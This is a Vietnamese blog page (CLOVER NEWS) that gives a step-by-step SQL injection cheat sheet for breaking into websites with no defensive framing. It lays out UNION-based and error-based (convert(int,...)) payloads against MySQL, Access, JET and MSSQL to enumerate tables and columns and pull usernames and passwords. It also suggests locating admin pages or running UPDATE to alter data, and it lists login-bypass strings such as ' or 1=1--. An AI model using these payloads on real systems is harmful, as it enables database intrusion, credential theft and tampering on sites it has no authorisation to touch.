1, PHP
1. '
2. order by x--
x: 1,2,3....
Có thể thay dấu + cho khoảng trắng
3. union select all 1,2,...x--
xuất hiện column match
4. khai thác thông tin tại column match:
@@version
5. tại coumn match:
group_concat(table_name)
vd:
union select all 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database()--
-> lấy được toàn bộ table -> table nghi ngờ
6. lấy column
group_concat(column_name)
union select all 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_name='tên table nghi ngờ'--
-> toàn bộ column của table nghi ngờ
7. lấy giá trị
union select all 1,2,3,group_concat(column_nghi ngờ),5,6,7,8,9 from table_nghi ngờ
2.1, Đối với Access
-> union select 1 from table_nghi ngờ
nếu như không thành công, các bạn hãy làm theo sau:
-> union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30... from tbluser
Do không có schema, nên phải đoán table va column
code: %20union select 1,2,username%2b'/'%2bpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30 from tbluser'
2.2 Microsoft JET Database Engine
-> union select 1 from tbluser"having 1=1--sp_password
Nếu không thành công:
-> union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30... from tbluser--sp_password
1. search link lỗi:
dựa vào dấu : '
2. Phân loại lỗi:
-jet
-ole DB
3. jet:
union
4. OLE DB
A-Khai Thác:
' and 1= convert(int,@@version)--
convert(int,@@servername)--
convert(int,system_user)--
convert(int,db_name())--
B-Tiến hành :
1. Lấy thông tin
2. Lấy table:
convert(int,(select top 1 table_name from information_schema.tables))--
Lấy table tiep theo:
convert(int,(select top 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where table_name not in('table trước đó','table trước đó nữa',...)))--
sau khi lấy được 1 table thì dùng điều kiện where để lấy các table còn lại
5. lay columns:
convert(int,(select top 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where table_name='table Nghi ngờ))--
lấy column tiep theo:
convert(int,(select top 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where table_name='table Nghi ngờ' and column_name not in('column trước đó')))--
sau khi lấy được 1 column thì dùng điều kiện where để lấy các columns còn lại
6. Lấy values trong column
convert(int,(select top 1 column_canlay from table_nghi ngờ))--
7. Tìm link Admin
8. Nếu không có link Admin thì thực hiện một số thao tác:
Update : Thay đổi thông tin
select : Trích xuất thông tin
Lưu ý:
Dùng dấu (+) để nối thêm text vào password (ASSCII code của '+' là 0x2b) nếu như data có kiểu int.
vd:
UNION SELECT TOP 1 convert(int, password%2b'%20test') FROM admin_tb where user='admin'--
C-các loại sql injection extend:
'
''
'''
"
\'
\''
'
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Copyright 2011 - 2012 CLOVER NEWS
Nội dung trên được chúng tôi tổng hợp từ nhiều nguồn trên internet.
Thông tin mã nguồnCLOVER NEWS
Website sử dụng mã nguồn XML Blogger
Code XML by: Nguyễn Mạnh Đạt (DNMsuper)
Email: datnguyen1297@gmail.com
Y!M: dnmsuper
Liên hệ quảng cáo:
Email: datnguyen1297@gmail.com
Y!M: dnmsuper